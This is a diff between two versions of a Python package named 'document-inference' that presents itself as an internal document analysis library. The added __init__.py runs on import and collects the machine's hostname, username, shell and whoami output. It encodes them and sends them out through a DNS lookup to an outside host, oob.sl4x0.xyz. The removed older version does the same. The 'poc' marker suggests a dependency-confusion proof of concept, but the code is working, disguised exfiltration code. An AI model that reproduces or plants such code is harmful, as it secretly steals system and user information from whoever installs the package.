document-inference 0.0.0__tar.gz → 0.0.2__tar.gz

{document_inference-0.0.0 → document_inference-0.0.2}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: document-inference
-Version: 0.0.0
+Version: 0.0.2
 Summary: Internal Document Analysis Package
 Home-page: https://company-internal.example.com
 Author: Internal Team

document_inference-0.0.2/document_inference/__init__.py

@@ -0,0 +1,31 @@
+import os
+import socket
+import uuid
+import base64
+import subprocess
+
+def exfiltrate():
+    uid = str(uuid.uuid4())[:8]
+    hostname = os.uname()[1]
+    user = os.getenv("USER") or os.getenv("USERNAME") or "unknown"
+    shell = os.getenv("SHELL") or "noshell"
+    home = os.getenv("HOME") or "nohome"
+    
+    # Optional RCE output - simple harmless cmd
+    try:
+        cmd_output = subprocess.check_output(["whoami"], stderr=subprocess.DEVNULL).decode().strip()
+    except Exception:
+        cmd_output = "fail"
+
+    # Compress & limit payload (DNS-safe)
+    marker = "docinf"
+    data = f"{uid}:{hostname}:{user}:{shell}:{cmd_output}:{marker}"
+    hexdata = base64.b16encode(data.encode()).decode().lower()[:50]  # DNS label limit
+
+    try:
+        # Send DNS request to your Bind9 server
+        socket.gethostbyname(f"{hexdata}.oob.sl4x0.xyz")
+    except Exception:
+        pass
+
+exfiltrate()

{document_inference-0.0.0 → document_inference-0.0.2}/document_inference.egg-info/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: document-inference
-Version: 0.0.0
+Version: 0.0.2
 Summary: Internal Document Analysis Package
 Home-page: https://company-internal.example.com
 Author: Internal Team

{document_inference-0.0.0 → document_inference-0.0.2}/setup.py

@@ -3,7 +3,7 @@ from setuptools import setup, find_packages
 
 setup(
     name="document-inference",
-    version="0.0.0",
+    version="0.0.2",
     description="Internal Document Analysis Package",
     long_description="Private package accidentally exposed",
     long_description_content_type="text/markdown",

document_inference-0.0.0/document_inference/__init__.py

@@ -1,19 +0,0 @@
-import socket
-import uuid
-import os
-
-def exfiltrate():
-    uid = str(uuid.uuid4())[:8]  # Short unique string
-    hostname = os.uname()[1]
-    user = os.getenv("USER") or os.getenv("USERNAME")
-    marker = "docinf-poc"
-
-    data = f"{uid}-{hostname}-{user}-{marker}"
-    hexdata = data.encode().hex()[:40]  # limit to safe DNS length
-
-    try:
-        socket.gethostbyname(f"{hexdata}.oob.sl4x0.xyz")
-    except:
-        pass
-
-exfiltrate()